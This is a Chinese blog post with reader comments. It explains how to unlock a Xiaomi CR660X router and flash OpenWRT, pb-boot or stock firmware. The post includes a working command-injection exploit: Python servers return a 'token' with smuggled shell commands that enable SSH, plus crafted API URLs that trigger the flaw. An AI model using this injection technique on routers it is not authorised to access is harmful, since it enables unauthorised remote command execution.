小米 CR660X 刷机

只需一台电脑和一个普通路由器,成功率超高。比恩山论坛上的方法要更简单一点。

恩山论坛上,刷 CR660X 系列路由器,需要一个 OpenWRT 路由作为辅助,还需要登上这个路由上传一个 lua 脚本,总体陷入了「先有鸡还是先有蛋」的怪圈里。或者也有教程使用虚拟机,不过我一直不太明白各种直通啊端口啊啥啥的。另外,我在双路由的方案中,一直卡在开启 SSH 的第二步,还不能自己 debug。

经过差不多一天翻帖子,我发现只用一个普通路由做「纸片人」,配合自己写个 Python 脚本就好了,并且还可以轻松看到第二步是否正常。

原理

利用小米路由器换机功能的漏洞。

  1. 使用 API,让 CR660X 连接到一个没有 DHCP 的 Wi-Fi 上
  2. 使用第二个 API,尝试获取 Token 并执行返回内容
    1. 由于没有 DHCP,获取不到 IP,CR660X 就会自己变成 169.254.31.2,并去 169.254.31.1 拉参数并执行
    2. 执行过程中由于参数判断不严导致可以执行任意 shell 命令,所以就能开启 SSH

所以 IP 设置很重要,其他辅助设备一定要避开 169.254.31.2 这个地址。

物理设置

首先需要确定自己设备的型号:

型号CR6606 (联通)CR6608(移动)CR6609(电信)
web 后台 IP192.168.31.1192.168.10.1192.168.2.1
web  后台登录密码自行设置设备背面的管理密码设备背面的管理密码
root 登录密码根据序列号算出来设备背面的管理密码设备背面的管理密码

然后我们来进行配置和连线:

  1. 需要一台 CR660X 设备
    1. 进入管理页面后,开启 Wi-Fi,关闭「双频合一」功能
    2. WAN 口不要插线
  2. 需要一台普通路由器作为辅助路由器
    1. IP 设置为 169.254.31.3
    2. 关闭双频合一功能
    3. 开启 2.4G Wi-Fi(SSID 和密码可随意设置,但是需要尽可能简单点,比如密码设置成 12345678 啥的,别给自己找麻烦)
    4. 关闭 LAN 口的 DHCP 功能
    5. 用网线将其 LAN 口连接到 CR660X 设备的 LAN 口
  3. 需要一台笔记本电脑
    1. 需要同时有无线网卡和有线网卡
    2. 需要装有 Python 3 环境(MacOS 和 Debian 都自带有 Python3)
    3. 用网线将其连接到 CR660X 设备的 LAN 口,并设置有线连接的 IP 为 169.254.31.1
    4. 用 Wi-Fi 连上 CR660X 设备的 5G Wi-Fi,IP 地址可以设置为自动获取

环境准备

下面有两个 Python 脚本,随意挑选其中一个,保存为 server.py

脚本 1,适合不想额外装任何第三方 Python 包的人:

from http.server import BaseHTTPRequestHandler, HTTPServer
import json


class SimpleServer(BaseHTTPRequestHandler):
    def do_GET(self):
        print("It comes!")
        data = {
            "code": 0,
            "token": "; nvram set ssh_en=1; nvram commit; sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/dropbear start;"
        }
        self.send_response(200)
        self.end_headers()
        self.wfile.write(json.dumps(data).encode())


server_address = ('0.0.0.0', 80)
httpd = HTTPServer(server_address, SimpleServer)
httpd.serve_forever()

启动命令为 python server.py

脚本 2,适合已经有 Flask 开发环境的人:

from flask import Flask
import json
app = Flask(__name__)


@app.errorhandler(404)
def unlock(foo):
    return json.dumps({
        "code": 0,
        "token": "; nvram set ssh_en=1; nvram commit; sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/dropbear start;"
    }), 200

在笔记本上运行 python flask --app server run --host=0.0.0.0 --port 80

无论使用哪个脚本,都需要在浏览器里面输入 http://169.254.31.1 看看显示是否正常。

之后的步骤需要自己构造一些 URL。如果不想手动替换东西,可以使用我改好的脚本

开始 SSH

  1. 笔记本通过 Wi-Fi 进入 CR6608 设备管理界面,在 URL 里面拿到 STOK
  2. 在地址栏里输入
http://<CR660X 设备 IP>/cgi-bin/luci/;stok=< 获取到的 stok>/api/misystem/extendwifi_connect?ssid=< 辅助路由器的 SSID>&password=< 辅助路由器的 Wi-Fi 密码>

如果配置正确,大概 20 秒后,会出现 connect success 字样,此时 CR660X 已经连上了辅助路由器。

如果报错,那么需要检查辅助路由器的 IP、接线、是否开启了 Wi-Fi,以及是否关闭了双频合一功能。

  1. 在地址栏里输入(最后的 xxx 无需改动)
http://<CR660X 设备 IP>/cgi-bin/luci/;stok=< 获取到的 stok>/api/xqsystem/oneclick_get_remote_token?username=xxx&password=xxx&nonce=xxx

如果配置正确,那么在 Python 的输出里会出现来自 169.254.31.2 设备的访问记录。20 秒左右,浏览器上会出现 nvram 相关字样,此时 SSH 已开启。

如果报错,那么需要检查 Python 里是否有 log(大概率是没 log),然后检查各个设备的接线、IP。

这时我们可以 SSH 登上路由器看看。默认密码么,见上面的表格。

刷 Bootloader

  1. 笔记本,将有线网卡恢复为 DHCP 自动获取,并记下此时笔记本的 IP 地址
  2. 进入到放有 pb-boot.img 的文件夹,执行 python -m http.server 80
  3. SSH 进入到路由器,并进入到 /tmp 文件夹
  4. 执行 wget http://< 笔记本的 IP 地址>/pb-boot.img ,将文件下载下来
  5. 执行 mtd write /tmp/pb-boot.img Bootloader 刷入
  6. 重启路由器

这里有个坑:我们其实是可以刷 breed 的(breed-mt7621-xiaomi-r3g),但是这个版本的 breed 会无法正常刷入固件,只能用来刷 pb-boot 和原厂 boot。

刷 OpenWRT

  1. 刷底包:
    1. 拔掉电源,捅 reset 不松手,插电源,看到 system 指示灯变成呼吸状态
    2. 电脑 IP 改成 192.168.1.10,浏览器进入 192.168.1.1
    3. 刷后缀为 -initramfs-kernel.bin 的包即可
  2. 刷升级包
    1. 刷完底包后,进入 OpenWRT Web 页面,刷后缀为 -squashfs-sysupgrade 的升级包
  3. 刷错包了?比如强行误刷入 -squashfs-firmware   的包?
    1. 捅 reset 重启,进入 pb-boot
    2. 刷 R3G 的 breed
    3. 捅 reset 重启,刷 pb-boot。刷之前可以各种恢复出厂设置一下
    4. 捅 reset 重启,设置 ip,进入 pb-boot,重刷后缀为 -initramfs-kernel.bin 的包
    5. 进入系统,刷后缀为 -squashfs-sysupgrade 的升级包

刷回原版系统

如果你刷了 AX1800 的系统,那么只需要捅 reset 重启,并用官方救砖工具刷机即可。

如果你刷了 pb-boot,或者已经刷了第三方系统,下面是操作步骤,但我没有自己试过:

  1. 下载官方救砖工具(只能在 windows 上用)
  2. 进入 pb-boot
  3. 刷 R3G 的 breed
  4. 刷回原版 bootloader
  5. 捅 reset 重启,10 秒种后松手,进入 pb-boot
  6. 刷入原厂 boot
  7. 捅 reset 重启,10 秒种后松手
  8. 打开救砖工具(如果有警告啥的,都放行),选择原版系统 bin 文件,选择网卡,下一步
  9. 拔电重启

刷原版红米 ax1800 固件

这个官方固件可以开 mesh,所以很多人将 CR660X 刷成红米 AX1800 做主路由。

  1. 如果你想从 CR660X 直接刷成红米 ax1800,那么直接捅 reset 重启,用救砖工具刷机即可
  2. 如果你想从 OpenWrt,参考刷回原厂的步骤:进入 pb-boot,刷 R3G 的 breed,重启到 breed,再刷原厂 uboot,然后按照救砖工具的用法刷机即可

辅助路由器还原设置

  1. 开启 SSH 后,将「电脑-CR660X」的网线拔掉,然后连接电脑与辅助路由。此时电脑的 IP 为 169.254.31.1,辅助路由的 ip 为 169.254.31.3,处于同一网段,所以可以互相访问。
  2. 电脑浏览器里输入辅助路由的 ip,进入管理界面,将 LAN 的 IP 改为正常 IP(例如 192.168.1.1),并设置启用 DHCP,保存并应用。如果辅助路由使用的是 22.03 之前的 OpenWRT,那么还需要将电脑 IP 设置为 DHCP 自动获取,等到获取到 IP 后重新连接一下辅助路由(否则设置会在 90 秒后还原)。
  3. 或者,也可以直接将辅助路由恢复出厂设置。

后记

我自己是原版控,但是这次刷原版体验比较不好。目前最新版本是 22.03,使用 pb-boot 刷进去之后可以稳定使用一天,一天后开始突然崩溃,ssh 登不上,打开登录界面需要 2 分钟,无法访问外网,只能进 pb-boot 重刷 openwrt。然后开启一天一刷的循环。本来对 OpenWRT 正式版的印象都是「稳如老狗」,但这次……真的不行。

自己长期不在家,追求的是「插上就能用」+「一年不用管」,所以那些魔法上网啊去广告啊啥啥的都不会用到,功能尽量少,只求最稳定。在恩山里面找了个自编译的 ImmortalWRT,目前用着还成。不知道一周后会不会炸。万一它炸了,我可真的没办法修。总不能告诉家里人「先进入 pb-boot」吧。希望原版 OpenWRT 后面可以稳定一点,像 Newifi 一样稳如老狗。

相关链接


已发布

分类

作者:

标签

评论

《“小米 CR660X 刷机”》 有 7 条评论

  1. sowhat 的头像
    sowhat

    「旧路由 nonce 错误 code 1654」这个怎么解决呀,试了很多次,第一步是成功的

  2. DD 的头像
    DD

    大神有什麼方法改有綫連接做 169.254.31.1?
    不知為何我控制台改了 IPv4 去 169.254.31.1 後

    那個小米後台就是不會轉
    還是卡在 192.168.31.XXX

    明明只是想改做 AX1800 跟別的 MESH
    沒想到 6606 是大坑 ( ;´Д`)

  3. 李政严 的头像
    李政严

    接上文,我的 Logs 是:
    C:\Users\Bing\Desktop\PY>python server.py
    It comes!
    169.254.31.1 – – [19/Dec/2022 22:04:59] “GET / HTTP/1.1” 200 –
    It comes!

    169.254.31.1 – – [19/Dec/2022 22:06:08] “GET /favicon.ico HTTP/1.1” 200 –

    Exception occurred during processing of request from (‘169.254.31.1’, 62670)
    Traceback (most recent call last):
    File “C:\Users\Bing\AppData\Local\Programs\Python\Python311\Lib\socketserver.py”, line 317, in _handle_request_noblock
    self.process_request(request, client_address)
    File “C:\Users\Bing\AppData\Local\Programs\Python\Python311\Lib\socketserver.py”, line 348, in process_request
    self.finish_request(request, client_address)
    File “C:\Users\Bing\AppData\Local\Programs\Python\Python311\Lib\socketserver.py”, line 361, in finish_request
    self.RequestHandlerClass(request, client_address, self)
    File “C:\Users\Bing\AppData\Local\Programs\Python\Python311\Lib\socketserver.py”, line 755, in init
    self.handle()
    File “C:\Users\Bing\AppData\Local\Programs\Python\Python311\Lib\http\server.py”, line 432, in handle
    self.handle_one_request()
    File “C:\Users\Bing\AppData\Local\Programs\Python\Python311\Lib\http\server.py”, line 420, in handle_one_request
    method()
    File “C:\Users\Bing\Desktop\PY\server.py”, line 14, in do_GET
    self.wfile.write(json.dumps(data).encode())
    File “C:\Users\Bing\AppData\Local\Programs\Python\Python311\Lib\socketserver.py”, line 834, in write
    self._sock.sendall(b)

    ConnectionAbortedError: [WinError 10053] 你的主机中的软件中止了一个已建立的连接。

  4. 郭源潮 的头像
    郭源潮

    我有一台 6608,一台 6609,刷了好几个版本的 openwrt,发现一个通病,运行 1 天左右 5Gwifi 就不能上网了,取消记住密码重连连接不上,所以我还是刷回了原版。最开始刷 openwrt 是想要 vlan 交换机设置功能来单线复用 iptv,科学上网什么的都无所谓,但是基础的 5gwifi 有问题我还是回到了原版系统,给家里人用还是起码保证 wifi 能稳定使用。

  5. 李政严 的头像
    李政严

    您好大神,我跟这个机器 struggle 了好几天了,型号是 CR6606,按照恩山上的教程刷总是卡在第二步,一键换机助手那里,兜兜转转找到您这,感觉要比那些老教程靠谱,实践下来,在第一步连接 wifi 时不知为何总是 1655,重试也没用,可能是因为我的笔电太老了,不支持 5gwifi 的缘故吧?

    1. 小金鱼儿 的头像
      小金鱼儿

      看看是不是 5G 的 Wi-Fi 没有关?我自己第一步连 Wi-Fi 蛮顺利的,没出现过卡 1655 的现象。
      或者,先用救砖工具硬还原一下试试?

    2. 李政严 的头像
      李政严

      大神你好,没想到真能获得您的回复,很感动。
      我换了一个辅助路由器,然后继续使用您的办法,第一步可以连接了,但是没想到第二步竟然又出现了「旧路由 nonce 错误 code 1654」的错误,这个是我的辅助路由器还是有问题的原因吗?除了再换辅助路由器,还有解决办法么?Orz

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注